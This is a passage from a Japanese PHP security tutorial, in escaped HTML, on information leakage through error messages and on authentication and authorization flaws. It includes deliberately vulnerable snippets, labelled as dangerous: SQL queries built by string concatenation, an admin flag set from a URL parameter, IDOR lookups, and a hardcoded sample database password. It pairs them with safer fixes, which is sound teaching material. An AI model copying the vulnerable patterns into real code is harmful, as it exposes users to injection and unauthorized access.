\u60c5\u5831\u6f0f\u6d29\u3092\u9632\u3050\u8a2d\u5b9a<\/h3>\n\n\n\n<p>\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406\u306fPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u304a\u3044\u3066\u91cd\u8981\u306a\u5074\u9762\u3067\u3059\u3002\u958b\u767a\u8005\u306b\u3068\u3063\u3066\u8a73\u7d30\u306a\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306f\u6709\u7528\u3067\u3059\u304c\u3001\u30a8\u30f3\u30c9\u30e6\u30fc\u30b6\u30fc\u306b\u8868\u793a\u3055\u308c\u308b\u3068\u653b\u6483\u8005\u306b\u91cd\u8981\u306a\u5185\u90e8\u60c5\u5831\u3092\u4e0e\u3048\u3066\u3057\u307e\u3046\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-78\">\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u304b\u3089\u306e\u60c5\u5831\u6f0f\u6d29\u30ea\u30b9\u30af<\/h4>\n\n\n\n<p>\u4e0d\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406\u306b\u3088\u3063\u3066\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u60c5\u5831\u304c\u6f0f\u6d29\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u60c5\u5831<\/strong>\uff1a\u63a5\u7d9a\u6587\u5b57\u5217\u3001\u30c6\u30fc\u30d6\u30eb\u540d\u3001\u30ab\u30e9\u30e0\u540d<\/li>\n\n\n\n<li><strong>\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3068\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u69cb\u9020<\/strong>\uff1a\u30b5\u30fc\u30d0\u30fc\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30ec\u30a4\u30a2\u30a6\u30c8<\/li>\n\n\n\n<li><strong>\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30ed\u30b8\u30c3\u30af<\/strong>\uff1a\u30b3\u30fc\u30c9\u30d5\u30ed\u30fc\u3084\u6761\u4ef6\u5206\u5c90<\/li>\n\n\n\n<li><strong>\u4f7f\u7528\u3057\u3066\u3044\u308b\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u3068\u30d0\u30fc\u30b8\u30e7\u30f3<\/strong>\uff1aPHP\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3001\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30d0\u30fc\u30b8\u30e7\u30f3<\/li>\n\n\n\n<li><strong>\u8a8d\u8a3c\u60c5\u5831<\/strong>\uff1a\u30e6\u30fc\u30b6\u30fc\u540d\u3084\u6642\u306b\u306f\u30d1\u30b9\u30ef\u30fc\u30c9\u30cf\u30c3\u30b7\u30e5<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-79\">\u8106\u5f31\u306a\u30a8\u30e9\u30fc\u51e6\u7406\u306e\u4f8b<\/h4>\n\n\n\n<p>\u4ee5\u4e0b\u306f\u3001\u60c5\u5831\u6f0f\u6d29\u3092\u5f15\u304d\u8d77\u3053\u3059\u53ef\u80fd\u6027\u306e\u3042\u308b\u8106\u5f31\u306a\u30a8\u30e9\u30fc\u51e6\u7406\u306e\u4f8b\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u5371\u967a\u306a\u30a8\u30e9\u30fc\u8868\u793a\u8a2d\u5b9a\nini_set('display_errors', 1);\nerror_reporting(E_ALL);\n\n\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u306e\u5931\u6557\u6642\u306b\u8a73\u7d30\u3092\u8868\u793a\ntry {\n    $conn = new PDO(\n        \"mysql:host=internal-db.company.com;dbname=customer_data\", \n        \"admin_user\", \n        \"S3cr3tP@ssw0rd!\"\n    );\n} catch (PDOException $e) {\n    \/\/ \u63a5\u7d9a\u30a8\u30e9\u30fc\u306e\u8a73\u7d30\u3092\u8868\u793a\uff08\u5371\u967a\uff09\n    die(\"\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage());\n}\n\n\/\/ SQL\u30af\u30a8\u30ea\u30a8\u30e9\u30fc\u3092\u8868\u793a\n$stmt = $conn-&gt;prepare(\"SELECT * FROM users WHERE username = '$username'\");\nif (!$stmt) {\n    \/\/ SQL\u30a8\u30e9\u30fc\u306e\u8a73\u7d30\u3092\u8868\u793a\uff08\u5371\u967a\uff09\n    die(\"SQL\u30a8\u30e9\u30fc: \" . $conn-&gt;errorInfo()[2]);\n}\n<\/pre>\n\n\n\n<p>\u3053\u306e\u3088\u3046\u306a\u30b3\u30fc\u30c9\u3067\u306f\u3001\u30a8\u30e9\u30fc\u767a\u751f\u6642\u306b\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u60c5\u5831\u304c\u6f0f\u6d29\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u30a8\u30e9\u30fc: SQLSTATE[HY000] [1045] Access denied for user 'admin_user'@'192.168.1.10' (using password: YES)\n<\/pre>\n\n\n\n<p>\u307e\u305f\u306f<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">SQL\u30a8\u30e9\u30fc: Unknown column 'usrename' in 'where clause'\n<\/pre>\n\n\n\n<p>\u653b\u6483\u8005\u306f\u3053\u308c\u3089\u306e\u60c5\u5831\u3092\u5229\u7528\u3057\u3066\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u69cb\u9020\u3084\u3088\u308a\u9ad8\u5ea6\u306a\u653b\u6483\u624b\u6cd5\uff08SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306a\u3069\uff09\u3092\u7279\u5b9a\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-80\">\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406\u306e\u5b9f\u88c5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-81\">1. PHP.ini\u306e\u8a2d\u5b9a<\/h5>\n\n\n\n<p>\u672c\u756a\u74b0\u5883\u3067\u306f\u3001<code>php.ini<\/code>\u30d5\u30a1\u30a4\u30eb\u3067\u4ee5\u4e0b\u306e\u8a2d\u5b9a\u3092\u884c\u3044\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; \u672c\u756a\u74b0\u5883\u306e\u8a2d\u5b9a\ndisplay_errors = Off\ndisplay_startup_errors = Off\nerror_reporting = E_ALL\nlog_errors = On\nerror_log = \/path\/to\/secure\/error.log\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-82\">2. \u74b0\u5883\u306b\u5fdc\u3058\u305f\u30a8\u30e9\u30fc\u8a2d\u5b9a\u306e\u5207\u308a\u66ff\u3048<\/h5>\n\n\n\n<p>\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30b3\u30fc\u30c9\u5185\u3067\u74b0\u5883\u306b\u5fdc\u3058\u305f\u8a2d\u5b9a\u3092\u884c\u3046\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u74b0\u5883\u306b\u5fdc\u3058\u305f\u30a8\u30e9\u30fc\u8a2d\u5b9a\nfunction configureErrorHandling() {\n    \/\/ \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u74b0\u5883\u5909\u6570\u3092\u30c1\u30a7\u30c3\u30af\n    $environment = getenv('APP_ENV') ?: 'production';\n    \n    \/\/ \u3059\u3079\u3066\u306e\u30a8\u30e9\u30fc\u30bf\u30a4\u30d7\u3092\u30ec\u30dd\u30fc\u30c8\n    error_reporting(E_ALL);\n    \n    \/\/ \u30a8\u30e9\u30fc\u30ed\u30b0\u306e\u6709\u52b9\u5316\n    ini_set('log_errors', 1);\n    ini_set('error_log', '\/path\/to\/error.log');\n    \n    if ($environment === 'development' || $environment === 'testing') {\n        \/\/ \u958b\u767a\u74b0\u5883\uff1a\u30a8\u30e9\u30fc\u3092\u8868\u793a\n        ini_set('display_errors', 1);\n        ini_set('display_startup_errors', 1);\n    } else {\n        \/\/ \u672c\u756a\u74b0\u5883\uff1a\u30a8\u30e9\u30fc\u8868\u793a\u3092\u7121\u52b9\u5316\n        ini_set('display_errors', 0);\n        ini_set('display_startup_errors', 0);\n    }\n}\n\n\/\/ \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u8d77\u52d5\u6642\u306b\u547c\u3073\u51fa\u3059\nconfigureErrorHandling();\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-83\">3. \u30ab\u30b9\u30bf\u30e0\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30e9\u306e\u767b\u9332<\/h5>\n\n\n\n<p>\u3088\u308a\u9ad8\u5ea6\u306a\u30a8\u30e9\u30fc\u51e6\u7406\u306e\u305f\u3081\u306b\u30ab\u30b9\u30bf\u30e0\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30e9\u3092\u4f7f\u7528\u3059\u308b\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30ab\u30b9\u30bf\u30e0\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30e9\u306e\u767b\u9332\nfunction customErrorHandler($errno, $errstr, $errfile, $errline) {\n    \/\/ \u30a8\u30e9\u30fc\u60c5\u5831\u3092\u30ed\u30b0\u306b\u8a18\u9332\n    $errorMessage = date('Y-m-d H:i:s') . \" - Error [$errno]: $errstr in $errfile on line $errline\";\n    error_log($errorMessage);\n    \n    \/\/ \u672c\u756a\u74b0\u5883\u3067\u306f\u4e00\u822c\u7684\u306a\u30a8\u30e9\u30fc\u30da\u30fc\u30b8\u3092\u8868\u793a\n    if (getenv('APP_ENV') !== 'development') {\n        \/\/ \u30a8\u30e9\u30fc\u306e\u7a2e\u985e\u306b\u3088\u3063\u3066\u9069\u5207\u306a\u5bfe\u5fdc\u3092\u884c\u3046\n        if ($errno == E_USER_ERROR || $errno == E_ERROR || $errno == E_CORE_ERROR) {\n            http_response_code(500);\n            include 'templates\/500.php'; \/\/ \u4e00\u822c\u7684\u306a\u30a8\u30e9\u30fc\u30da\u30fc\u30b8\n            exit(1);\n        }\n    } else {\n        \/\/ \u958b\u767a\u74b0\u5883\u3067\u306f\u8a73\u7d30\u3092\u8868\u793a\n        echo \"&lt;div style='border:1px solid red; padding:10px; margin:10px;'&gt;\";\n        echo \"&lt;h2&gt;\u958b\u767a\u74b0\u5883\u30a8\u30e9\u30fc\u901a\u77e5&lt;\/h2&gt;\";\n        echo \"&lt;p&gt;&lt;strong&gt;\u30bf\u30a4\u30d7:&lt;\/strong&gt; $errno&lt;\/p&gt;\";\n        echo \"&lt;p&gt;&lt;strong&gt;\u30e1\u30c3\u30bb\u30fc\u30b8:&lt;\/strong&gt; $errstr&lt;\/p&gt;\";\n        echo \"&lt;p&gt;&lt;strong&gt;\u30d5\u30a1\u30a4\u30eb:&lt;\/strong&gt; $errfile&lt;\/p&gt;\";\n        echo \"&lt;p&gt;&lt;strong&gt;\u884c:&lt;\/strong&gt; $errline&lt;\/p&gt;\";\n        echo \"&lt;\/div&gt;\";\n    }\n    \n    \/\/ \u30a8\u30e9\u30fc\u306e\u51e6\u7406\u3092\u7d9a\u884c\n    return true;\n}\n\n\/\/ \u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30e9\u3092\u8a2d\u5b9a\nset_error_handler('customErrorHandler');\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-84\">4. \u4f8b\u5916\u51e6\u7406\u306e\u9069\u5207\u306a\u5b9f\u88c5<\/h5>\n\n\n\n<p>\u4f8b\u5916\u51e6\u7406\u3092\u5b89\u5168\u306b\u884c\u3046\u30b3\u30fc\u30c9\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">try {\n    \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\n    $conn = new PDO(\n        \"mysql:host=\" . DB_HOST . \";dbname=\" . DB_NAME, \n        DB_USER, \n        DB_PASSWORD\n    );\n    $conn-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n} catch (PDOException $e) {\n    \/\/ \u30a8\u30e9\u30fc\u3092\u30ed\u30b0\u306b\u8a18\u9332\uff08\u8a73\u7d30\u60c5\u5831\u3092\u542b\u3080\uff09\n    error_log('Database Error: ' . $e-&gt;getMessage() . ' in ' . $e-&gt;getFile() . ' on line ' . $e-&gt;getLine());\n    \n    \/\/ \u30e6\u30fc\u30b6\u30fc\u3078\u306f\u4e00\u822c\u7684\u306a\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u8868\u793a\n    if (getenv('APP_ENV') === 'development') {\n        \/\/ \u958b\u767a\u74b0\u5883\u3067\u306e\u307f\u8a73\u7d30\u3092\u8868\u793a\n        echo \"Database connection error: \" . $e-&gt;getMessage();\n    } else {\n        \/\/ \u672c\u756a\u74b0\u5883\u3067\u306f\u30e6\u30fc\u30b6\u30fc\u30d5\u30ec\u30f3\u30c9\u30ea\u30fc\u306a\u30e1\u30c3\u30bb\u30fc\u30b8\n        header(\"HTTP\/1.1 500 Internal Server Error\");\n        include 'templates\/db-error.php';\n    }\n    exit;\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-85\">\u30a8\u30e9\u30fc\u51e6\u7406\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u74b0\u5883\u5225\u306e\u8a2d\u5b9a<\/strong>\uff1a\u958b\u767a\u74b0\u5883\u3068\u672c\u756a\u74b0\u5883\u3067\u7570\u306a\u308b\u30a8\u30e9\u30fc\u8a2d\u5b9a\u3092\u4f7f\u7528\u3059\u308b<\/li>\n\n\n\n<li><strong>\u30a8\u30e9\u30fc\u30ed\u30b0\u306e\u9069\u5207\u306a\u8a2d\u5b9a<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>Web\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5916\u306e\u5b89\u5168\u306a\u5834\u6240\u306b\u30ed\u30b0\u3092\u4fdd\u5b58<\/li>\n\n\n\n<li>\u9069\u5207\u306a\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u8a2d\u5b9a\uff08Web\u30b5\u30fc\u30d0\u30fc\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u307f\u304c\u66f8\u304d\u8fbc\u307f\u53ef\u80fd\uff09<\/li>\n\n\n\n<li>\u30ed\u30b0\u30ed\u30fc\u30c6\u30fc\u30b7\u30e7\u30f3\u3092\u8a2d\u5b9a\u3057\u3066\u80a5\u5927\u5316\u3092\u9632\u6b62<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u9867\u5ba2\u5411\u3051\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u8a2d\u8a08<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u6280\u8853\u7684\u8a73\u7d30\u3092\u542b\u307e\u306a\u3044\u4e00\u822c\u7684\u306a\u30e1\u30c3\u30bb\u30fc\u30b8<\/li>\n\n\n\n<li>\u9069\u5207\u306aHTTP\u30b9\u30c6\u30fc\u30bf\u30b9\u30b3\u30fc\u30c9\u306e\u4f7f\u7528<\/li>\n\n\n\n<li>\u5fc5\u8981\u306b\u5fdc\u3058\u3066\u30a8\u30e9\u30fc\u53c2\u7167\u756a\u53f7\u306e\u8868\u793a\uff08\u30ed\u30b0\u3068\u306e\u76f8\u95a2\u306b\u4f7f\u7528\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u8a73\u7d30\u306a\u30ed\u30b0\u3068\u30b7\u30f3\u30d7\u30eb\u306a\u8868\u793a<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u30ed\u30b0\u306b\u306f\u8a73\u7d30\u306a\u6280\u8853\u60c5\u5831\u3092\u8a18\u9332<\/li>\n\n\n\n<li>\u8868\u793a\u306b\u306f\u6700\u5c0f\u9650\u306e\u60c5\u5831\u306e\u307f\u3092\u542b\u3081\u308b<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u4f8b\u5916\u968e\u5c64\u306e\u9069\u5207\u306a\u8a2d\u8a08<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u56fa\u6709\u306e\u4f8b\u5916\u30af\u30e9\u30b9\u3092\u4f5c\u6210<\/li>\n\n\n\n<li>\u4f8b\u5916\u30e1\u30c3\u30bb\u30fc\u30b8\u306b\u6a5f\u5bc6\u60c5\u5831\u3092\u542b\u3081\u306a\u3044<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p>\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u4f53\u9a13\u3001\u958b\u767a\u8005\u306e\u30c7\u30d0\u30c3\u30b0\u3001\u305d\u3057\u3066\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u5168\u3066\u306b\u304a\u3044\u3066\u91cd\u8981\u3067\u3059\u3002\u672c\u756a\u74b0\u5883\u3067\u306f\u8a73\u7d30\u306a\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u8868\u793a\u305b\u305a\u3001\u4ee3\u308f\u308a\u306b\u30ed\u30b0\u306b\u8a18\u9332\u3059\u308b\u3053\u3068\u3067\u3001\u60c5\u5831\u6f0f\u6d29\u306e\u30ea\u30b9\u30af\u3092\u5927\u5e45\u306b\u8efd\u6e1b\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-86\">\u5b89\u5168\u3067\u306a\u3044\u8a8d\u8a3c\u3068\u8a8d\u53ef \u2013 \u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u5b9f\u88c5<\/h3>\n\n\n\n<p>\u8a8d\u8a3c\uff08Authentication\uff09\u3068\u8a8d\u53ef\uff08Authorization\uff09\u306f\u3001Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u304a\u3044\u3066\u6700\u3082\u57fa\u672c\u7684\u304b\u3064\u91cd\u8981\u306a\u8981\u7d20\u3067\u3059\u3002\u8a8d\u8a3c\u306f\u30e6\u30fc\u30b6\u30fc\u304c\u672c\u4eba\u3067\u3042\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u3067\u3042\u308a\u3001\u8a8d\u53ef\u306f\u305d\u306e\u30e6\u30fc\u30b6\u30fc\u304c\u7279\u5b9a\u306e\u30ea\u30bd\u30fc\u30b9\u3084\u30a2\u30af\u30b7\u30e7\u30f3\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u6a29\u9650\u3092\u6301\u3063\u3066\u3044\u308b\u304b\u3092\u78ba\u8a8d\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u3067\u3059\u3002\u3053\u308c\u3089\u304c\u9069\u5207\u306b\u5b9f\u88c5\u3055\u308c\u3066\u3044\u306a\u3044\u3068\u3001\u6df1\u523b\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u304c\u767a\u751f\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-87\">\u4e00\u822c\u7684\u306a\u8a8d\u8a3c\u30fb\u8a8d\u53ef\u306e\u8106\u5f31\u6027<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-88\">1. \u5f31\u3044\u30d1\u30b9\u30ef\u30fc\u30c9\u7ba1\u7406<\/h5>\n\n\n\n<p>\u591a\u304f\u306ePHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u4fdd\u5b58\u3084\u691c\u8a3c\u304c\u4e0d\u9069\u5207\u306b\u884c\u308f\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u5371\u967a\u306a\u5b9f\u88c5\u4f8b\n$password = $_POST['password'];\n$query = \"SELECT * FROM users WHERE username = '$username' AND password = '$password'\";\n<\/pre>\n\n\n\n<p>\u3053\u306e\u3088\u3046\u306a\u5b9f\u88c5\u306f\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5e73\u6587\u3067\u4fdd\u5b58\u3059\u308b\u305f\u3081\u5371\u967a\u3067\u3059\u3002\u307e\u305f\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3082\u542b\u3093\u3067\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-89\">2. \u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9<\/h5>\n\n\n\n<p>\u4e0d\u9069\u5207\u306a\u6761\u4ef6\u30c1\u30a7\u30c3\u30af\u306b\u3088\u308a\u3001\u8a8d\u8a3c\u30d7\u30ed\u30bb\u30b9\u3092\u30d0\u30a4\u30d1\u30b9\u3055\u308c\u308b\u8106\u5f31\u6027\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u5371\u967a\u306a\u8a8d\u8a3c\u30c1\u30a7\u30c3\u30af\nif ($_GET['admin'] == 'true') {\n    \/\/ \u7ba1\u7406\u8005\u6a5f\u80fd\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3092\u8a31\u53ef\n    $_SESSION['is_admin'] = true;\n}\n<\/pre>\n\n\n\n<p>\u3053\u306e\u3088\u3046\u306a\u30b3\u30fc\u30c9\u306f\u3001URL\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u5909\u66f4\u3059\u308b\u3060\u3051\u3067\u7ba1\u7406\u8005\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-90\">3. \u6a29\u9650\u6607\u683c\uff08\u5782\u76f4\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u6b20\u9665\uff09<\/h5>\n\n\n\n<p>\u30e6\u30fc\u30b6\u30fc\u304c\u672c\u6765\u30a2\u30af\u30bb\u30b9\u3067\u304d\u306a\u3044\u306f\u305a\u306e\u9ad8\u3044\u6a29\u9650\u30ec\u30d9\u30eb\u306e\u6a5f\u80fd\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u3066\u3057\u307e\u3046\u8106\u5f31\u6027\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u5371\u967a\u306a\u5b9f\u88c5\u4f8b - ID\u64cd\u4f5c\u306b\u3088\u308b\u6a29\u9650\u6607\u683c\nfunction getUserProfile($user_id) {\n    \/\/ \u30e6\u30fc\u30b6\u30fcID\u306e\u30c1\u30a7\u30c3\u30af\u306a\u3057\n    $query = \"SELECT * FROM users WHERE id = \" . $user_id;\n    \/\/ ...\n}\n<\/pre>\n\n\n\n<p>\u3053\u306e\u30b3\u30fc\u30c9\u3067\u306f\u3001\u4ed6\u306e\u30e6\u30fc\u30b6\u30fc\u306eID\u3092\u6307\u5b9a\u3059\u308b\u3060\u3051\u3067\u3001\u305d\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u60c5\u5831\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-91\">4. \u6c34\u5e73\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u6b20\u9665\uff08IDOR\uff09<\/h5>\n\n\n\n<p>\u540c\u3058\u6a29\u9650\u30ec\u30d9\u30eb\u5185\u3067\u3001\u4ed6\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u30ea\u30bd\u30fc\u30b9\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u3066\u3057\u307e\u3046\u8106\u5f31\u6027\uff08Insecure Direct Object Reference\uff09\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u5371\u967a\u306a\u5b9f\u88c5\u4f8b - IDOR\nfunction getDocument($doc_id) {\n    \/\/ \u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306e\u6240\u6709\u8005\u30c1\u30a7\u30c3\u30af\u306a\u3057\n    $query = \"SELECT * FROM documents WHERE id = \" . $doc_id;\n    \/\/ ...\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-92\">\u5b89\u5168\u306a\u8a8d\u8a3c\u3068\u8a8d\u53ef\u306e\u5b9f\u88c5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-93\">1. \u5b89\u5168\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u7ba1\u7406<\/h5>\n\n\n\n<p>PHP 5.5\u4ee5\u964d\u3067\u306f\u3001<code>password_hash()<\/code>\u3068<code>password_verify()<\/code>\u95a2\u6570\u3092\u4f7f\u7528\u3057\u3066\u5b89\u5168\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u7ba1\u7406\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30e6\u30fc\u30b6\u30fc\u767b\u9332\u6642\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u30cf\u30c3\u30b7\u30e5\u5316\nfunction registerUser($username, $password) {\n    \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u30cf\u30c3\u30b7\u30e5\u5316\n    $password_hash = password_hash($password, PASSWORD_DEFAULT);\n    \n    \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u4fdd\u5b58\n    $stmt = $pdo-&gt;prepare(\"INSERT INTO users (username, password_hash) VALUES (?, ?)\");\n    return $stmt-&gt;execute([$username, 